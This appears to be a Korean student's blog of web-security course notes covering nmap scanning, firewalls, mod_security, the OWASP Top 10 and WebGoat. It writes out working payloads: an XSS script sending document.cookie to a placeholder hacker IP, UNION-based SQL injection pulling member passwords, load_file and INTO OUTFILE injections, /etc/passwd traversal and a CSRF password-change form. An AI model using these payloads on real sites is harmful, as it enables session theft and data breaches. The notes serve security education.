Monday, November 26, 2018

Kali를 이용한 Port Scanning

Scanning


  • 외부에서 IP대역의 PC를 훔쳐봄
  • Host discovery의 반응을 기다림


참고)
정보수집필요
반응이 안오는 protocol || fw에 의해 안올수있기 때문

참고) 
공유기는 outbound의 소스 NAT가 자동
안에서 들어온 흔적이 없으면 못뚫음(=dst NAT설정X) 
->스캐닝불가


  • KALI
    • nmap -n -sn -PE ip대역


[ nmap ]
nmap이 가장 상용화되어있으나
그 외에도 다양한 방법으로 포트스캔가능


2018-11-07

Firewall의 설치기준 및 영역에 따른 구분

방화벽(Firewall)

  

설치위치 기준 구분 

  1. Host based f/w (개별적기준) 

  • pc/server SW (windows f/w, potables)
  • 안전하지만 pc마다 부여하기 때문에사용량이 많다

  2. Network based f/w (큰 기준)

      • 가성비가 좋다

    • 1세대 방화벽
      • 통제기준
        • IP , Port  => Packet Filtering (Packet 단계): 개별적으로 하나하나 분석
      • IP , Port  => Packet Filtering (Packet 단계): 개별적으로 하나하나 분


    • 2세대 방화벽
      • 통제기준
        • IP, Port  => Stateful Inspection (Session TCP/UDP): 전체적인 흐름에 따라
      • Stateful Inspection
        • TCP Connect Scan (3handshake) port(opne/close) SYN가 나누어져 보내면 수신할때 합쳐서 처리, 따라서 같은 곳에서 보낸 걸 모두 확인하고 판정
    TCP/IP(3,4 layer)//HTTP(5,6,7 layer)

    • IPS, IDS, UTM (3세대 방화벽) 

      • IDS (Intrusion Detection System)
        • 공격탐지, 경고
      • IPS (Intrusion Prevention System)
        • 공격탐지, 차단 ->WAF
      • UTM (Unified Threat Management) = NGfirewall (=IDS+IPS)


        3. 방화벽 네트워크 구성

      • NAT Module = F/W + NAT 
        • 공인IP부족해서
      • Route Module = F/W + Router
        • 공인IP가 많이 필요할 때
      • Transparent Module = F/W
        • IP필요없음, 방화벽의 존재를 숨길 수 있다.

      ACL(정책) ; 기본값은 Deny ALL



      영역에 따른 경우

        1. 내부/ Internal / Trust && 외부 / External / Untrust

      • PC의 경우
        •  Outbound에 대하여


      일반인(웹서핑)



      Allow All(막히면 답답)

      XSS가 Out bound로 들어와서 PC에 실행될 수 있음
      (->같은 LAN의 PC는 Scan도 가능)

      =>PC가 악성코드의 Base camp


      • Server의 경우
        • Inbound에 대하여



      예외의 경우로 들어가서 서버를 해킹
      =>server가 basecamp


      • PC만 있는 경우
        • INBOUND-
        • OUTBOUND- PC들에 제어
      • SEVER만 있는 경우
        • INBOUND- 예외: tcp80,25,110,udp53
        • OUTBOUND- 예외 : yum
      • PC+SV(*좋지못한 환경->서버를 외부로 공개)
        • External(서버)- 스스로 강하게, 요세화
        • =>DMZ 방화벽이 두배로 들어, 돈이 이중으로 듬
        • Internal(PC)- 환경에 맞게 방화벽구성
      2018-11-06

      Thursday, November 22, 2018

      Detection Rule Set

      Apache 

      'Mod_Security' 

      Detection Rule Setting



      • 배경 

        • mod_security 2.8 || CentOS 7 이상 설치 
        • CRS 3 설치 
        • mypage3-1

      [ 참고 ]

      CRS3는 module로 들어가서 작성됨
      이유1) 효율적수집 
      이유2) 전용 machine을 만들기 힘들어서


      http >conf>httpd.conf(Include...)
             >conf.d>module_security.conf/php.conf...
             >logs
             >modules

      [ 참고 ]

      module의 동적라이브러리 
      1) linux: so 확장자 2) windows: dll 확장자

      linux) bind 설치
      CRS3) logs/error_log 에서 에러확인, actived_rules에서 SecRule 확인

      2018-11-02 

      암호화와 복호화

      ECRYPT / DECRYPT

      암호화 --[대칭키]-- 복호화

      joins.php에 암호화되어 저장되기 때문에 user_info.php에서 복호화로 확인

       MCRYPT

        ; 암호화-복호화모듈을 모아둔 것


       WAF 


      • S/W : web service module
      • H/W : Application

      [ 참고 ]
      OWASP(무료)=CRS(유료rule-Detection Rule Setting)
      Apache, NGINX: Mod_security는 DRS필요
      LIS : webknight


      2018-11-01

      XSS의 허점 공격과 대응

      XSS

      • 공격

        • <scripT   > alert("hello")</script>
        • 공격성공 1) 공백 2) 대소문자
        • 공백과 대소문자가 있어도 악성스크립트는 실행됨

      • 대응

        • str_place("<script>") ---> ("<script")
        • str_tolwer =>대소문자 구별없이 차단
                   =>Black List



      • 오탐지
        • Black List

                           ; 허점이 뚫림 -> 막아 x반복 =>한계가 있음

          • Keyword
            • 공격 ; <script>
            • 대응 ; replace    => <script lang=jvscript>로 공격
          • Regular Expression
            • 공격 ; <scripT  >.......;</script>
            • 대응 ; $b_contents=preg_replace('#<script.*</script>#is'.'.$b_contents);

        • White List

                          ; 폐쇄적인 통신

          • 버퍼 오버플로우 ; Apache 자체를 해킹
          • Code Level ; Logic- 침투테스트결과를 참고하여 코드개선
      2018-10-31

      Web Hacking Simulator - WebGoat

      Web Hacking Simulator


      • Hacme Bank
      • Hacme Travel
      • Bee box
      • Web Goat 
        • 정확한 답만 필요
        • docker이용해서 이용
        • docker내의 주소창에 /webgoat/attack

      Web GoatLogin) 1'or'1'='1
      2018-10-30

      Wednesday, November 21, 2018

      검증되지 않은 리다이렉트 및 포워드

      Using Components 

      with Known Vulnerabillities

      ; 검증되지 않은 리다이렉트 및 포워드


      Directory Listing

        ; 보안설정

      • websv) vi /etc/http/conf/http.conf -> /Option Indexes Flows~ 부분을 지우면 www../upload 리스트차단

      Traversal

        ; cd ..

      • www../.html) vi /../../../etc/passwd 가능


      Direct Object Reference (직접객체참조)


      • www./main.php/lang=../../../etc/passwd


      Broken Access Control (=URL Jumping)


      • Victim -------[ 1. redirect URL ]------> Hacker PC

      Reference Header 

      ; referer: http://domain/admin.php


      ▷ 방어

       입력값검증부재(Unvalidated Input)


      1. 클라이언트사이드 검증 
      2. 서버사이드 검증; 서버 부하 증가
        • ; 직접 대입형식
        • board_write.php)$b_contents=str_replace("<script"," ",$b_contents);
      2018-10-27

      CSRF 과 웹쉘

      Cross Site Request Forgery


      CSRF 공격은 로그온 된 피해자의 취약한 웹 애플리케이션에 피해자의 세션 쿠키와 기타 다른 인증정보를 자동으로 포함하여 위조된 HTTP 요청을 강제로 보내도록 하는 것이다.
      이것은 공격자가 취약한 애플리케이션이 피해자로부터의 정당한 요청이라고 오해할 수 있는 요청들을 강제로 만들 수 있다.

        1. 악성스크립트 삽입

         (단축어를 사용할수록 해독하기 어려움)
           <script>var f= document.createElement("form");f.setAttribute("action","POST");
            f.setAttribute ("action","user_info_update.php");varh=document.createElement
            ("input");h.setAttribute("type","hidden");h.setAttribute("name","m_pw");
            h.setAttribute("value","1004");f.appendchild(h);document.body.appendchild(f);
            f.submit();</script>

         2. 악성스크립트를 읽고, 다운로드, 저장

         3. 악성스크립트 실행


      Web Shell

      shell; 사용자와 kernell사이에 인터페이스를 제공

         Web에서 리눅스 명령어를 입력하면 실행됨 (system($cmd1))
         updike.html & upfile.php 에 webshell.php(file)을 업로드해 확인
      2018-10-26

      크로스사이트스크립트란

      XSS (Cross Site Script)


      XSS 취약점은 애플리케이션이 신뢰할 수 없는 데이터를 가져와 적절한 검증이나 제한 없이 웹 브라우저로 보낼 때 발생한다. XSS는 공격자가 피해자의 브라우저에 스크립트를 실행하여 사용자 세션 탈취, 웹 사이트 변조, 악의적인 사이트로 이동할 수 있다.


      • 공격(Injection flaws)

              mysql> select load file ('/etc/passwd');
              input) aa' union select load_file('/etc/passwd'),1,1,1,1#

      • 반응

             Error messages -----[BLOCK]---->Blind SQL Injection 

      1. runtime 기반 
      2. 단순 에러메세지



      XSS (Cross Site Script)

      • XSS 원리

      사이트를 이용하는 불특정 다수가 피해



      • XSS 과정




      1. 악성스크립트 업로드
        • <script>alert("~"/window.location=href="http://coupang.angel1.com";</script><script>var i = new Image; i.src="http://해커ip/thankyou.php?token="document.cookie;</script>
      2. Victim 로그인하며 PHPSESSID 발급 -> 쿠키발급 -> SESSIONTOKEN get
      3. 게시글 읽기
      4. 악성스크립트 실행
      5. 이미지파일 실행되는 척하면서 쿠키 유출
        • Hacker Web SV; 유출된 쿠키 packet 저장, thankyou.php로 GET TOKEN 설정

      2018-10-25 

      Tuesday, November 20, 2018

      SQL Injection

      SQL INJECTION

      tip)error message가 잘나오면 공격이 쉬워짐


      A-------------->B    =>    A + B  검색모듈

                검색모듈   [Union 삽입]      추가 

      SQL, 운영체제, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 질의문의 일부분으로서 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지 못하는 명령을 실행하거나 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있다.

      board_search.html

      select * from board where b_subject like '%keyword%'
      $keyword -> 'union select m_id, m_pw, 1,1,1 from members#
      => select * from board where b_subject like '%'union select m_id, m_pw, 1,1,1 from members#%

      in /board.php

      aa' union select m_id, m_pw, 1,1,1 from members# // 칼럼수를 위해 1 // 끝표시로 #
       union 사용시 ) mysql의 경우, column count 만 필요
      oracle, mssql의 경우, column count, column type 필요


      MYSQL  

      (database 구조설명)

      • 관리자권한을 이용하여 DB 보기

      >use information schema; // 관리자 권한으로 전부다 보기
      >desc tables;
      >select table_schema, table_name, from tables (where schema = funshop_db); // table 뽑기
      >select distinct table_schema from tables; // db 뽑기
      >desc columns;
      >select tables_schema, table_name, column_name, from information_schema, columns (where table_schema='funshop_db' and table_name='members'; // table 뽑기

      •  새 관리자에게 모든 권한을 주기 (해당 database 내에서)

      >grant all privileges on funshop_db to 'fun_admin','local host' identified by '1234(pw)'
      >show grants; // 부여된 권한 확인
      >revoke usage on *, * from 'fun_admin'@'local host'; //root에서 fun_admin 권한뺏기


      <공략포인트 Fuzzing > 

        ; tool- Fuzzer  ; 무작위 데이터 입력 방식 ; url Encoding

      • hidden field : input type
      • get paramite(url)
      • cookie 값에

       outfile

      >select * from members into outfile 'text.txt'; // '/var/www/html/UPLOAD/member.sql' 에 출력결과가 file로 저장

      • input type

      ex) /board_write.html // kk%,1,1); select * from members into outfile '/var/www/html/upload/member.sql'#
       확인) 주소창에 ip/upload/member.sql
      2018-10-24

      OWASP TOP10 Document

      OWASP TOP10 Document

      OWASP: Open Web Application Security Project

      Injection


      • SQL, 운영체제, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 질의문의 일부분으로서 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지못하는 명령을 실행하거나 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수있다.

      Broken Authentication

      • 인증과 세션 관리와 관련된 애플리케이션 기능은 정확하게 구현되어 있지 않아서, 공격자가 패스워드, 키 또는 세션 토큰을 해킹하거나 다른 구현 취약점을 공격하여 다른 사용자 ID로 가장할 수 있다.

      Sensitive Data Exposure(XSS)

      • XSS 취약점은 애플리케이션이 신뢰할 수 없는 데이터를 가져와 적절한 검증이나 제한 없이 웹 브라우저로 보낼 때 발생한다. XSS는 공격자가 피해자의 브라우저에 스크립트를 실행하여 사용자 세션 탈취, 웹 사이트 변조, 악의적인 사이트로 이동할 수 있다.

      Broken Access Control

      • 직접 객체 참조는 개발자가 파일, 디렉토리, 데이터베이스 키와 같은 내부 구현 객체를 참조하는 것을 노출시킬 때 발생한다. 접근 통제를 통한 확인이나 다른 보호수단이 없다면, 공격자는 노출된 참조를 조작하여 허가 받지 않은 데이터에 접근할 수 있다.

      Security Misconfiguration

      • 훌륭한 보안은 애플리케이션, 프레임워크, 애플리케이션 서버, 웹 서버, 데이터베이스 서버 및 플랫폼에 대해 보안 설정이 정의되고 적용되어 있다. 기본으로 제공되는 값은 종종 안전하지 않기 때문에 보안 설정은 정의, 구현 및 유지되어야 한다. 또한 소프트웨어는 최신의 상태로 유지해야 한다.

      Sensitive Data Exposure

      • 많은 웹 애플리케이션들이 신용카드, 개인 식별 정보 및 인증 정보와 같은 중요한 데이터를 제대로 보호하지 않는다. 공격자는 신용카드 사기, 신분 도용 또는 다른 범죄를 수행하는 등 약하게 보호된 데이터를 훔치거나 변경할 수 있다. 중요 데이터가 저장 또는 전송 중이거나 브라우저와 교환하는 경우 특별히 주의하여야 하며, 암호화와 같은 보호조치를 취해야 한다.

      Cross-Sikt Request Forgery(CSRF)

      • CSRF 공격은 로그온 된 피해자의 취약한 웹 애플리케이션에 피해자의 세션 쿠키와 기타 다른 인증정보를 자동으로 포함하여 위조된 HTTP 요청을 강제로 보내도록 하는 것이다. 이것은 공격자가 취약한 애플리케이션이 피해자로부터의 정당한 요청이라고 오해할 수 있는 요청들을 강제로 만들 수 있다.

      Using Components with Known Vulnerabillities

      • 컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈은 대부분 항상 전체 권한으로 실행된다. 이러한 취약한 컴포넌트를 악용하여 공격하는 경우 심각한 데이터 손실이 발생하거나 서버가 장악된다. 알려진 취약점이 있는 컴포넌트를 사용하는 애플리케이션은 애플리케이션 방어 체계를 손상하거나, 공격 가능한 범위를 활성화하는 등의 영향을 미친다.




      1.  SESSION 관리

      : cookie에 저장되는 날짜(만료일)을 지정 -> 하드디스크에 저장 (w/ 만료일)하여 외부침입방지

            browser <------------- web
                             암호 ssl
            browser -------------> web

      만일 browser가 hacker 라면 ssl 의미 없으므로

       대응 1) 

      쿠키를 암호화(ex. perm=0000)
      쿠키를 암호화했을때 무차별 대입식으로 공격

       대응 2)

      IDS, IPS (: 무차별 대입식 막는 프로그램) ->proxy에 ip 바꿔가며 공격 가능

      • XSS (Cross Site Script)

            : script로 hack

        • session 훔쳐보는 set
          • <?php session_start();   session_regenerate_id();   
          • 대응 :  할때마다 SID재설정으로 귀찮게 만들기
        • session token 발급 방법
          • 개발자가 직접
          • php 자체 발급 (PHPSESSID, ASPSESSID, JSPSESSID)

      2018-10-23

      List

      MobSF

      MobSF는 오픈소스 모바일 앱 자동 보안 진단 프레임워크로 자동 분석 시스템 구축할 때 사용한다. 정정 및 동적 분석이 가능하며, Android, iOS, Windows에 대해 침투 테스트, 멀웨어 분석 및 보안 평가를 할 수 있다. 참고자료 필...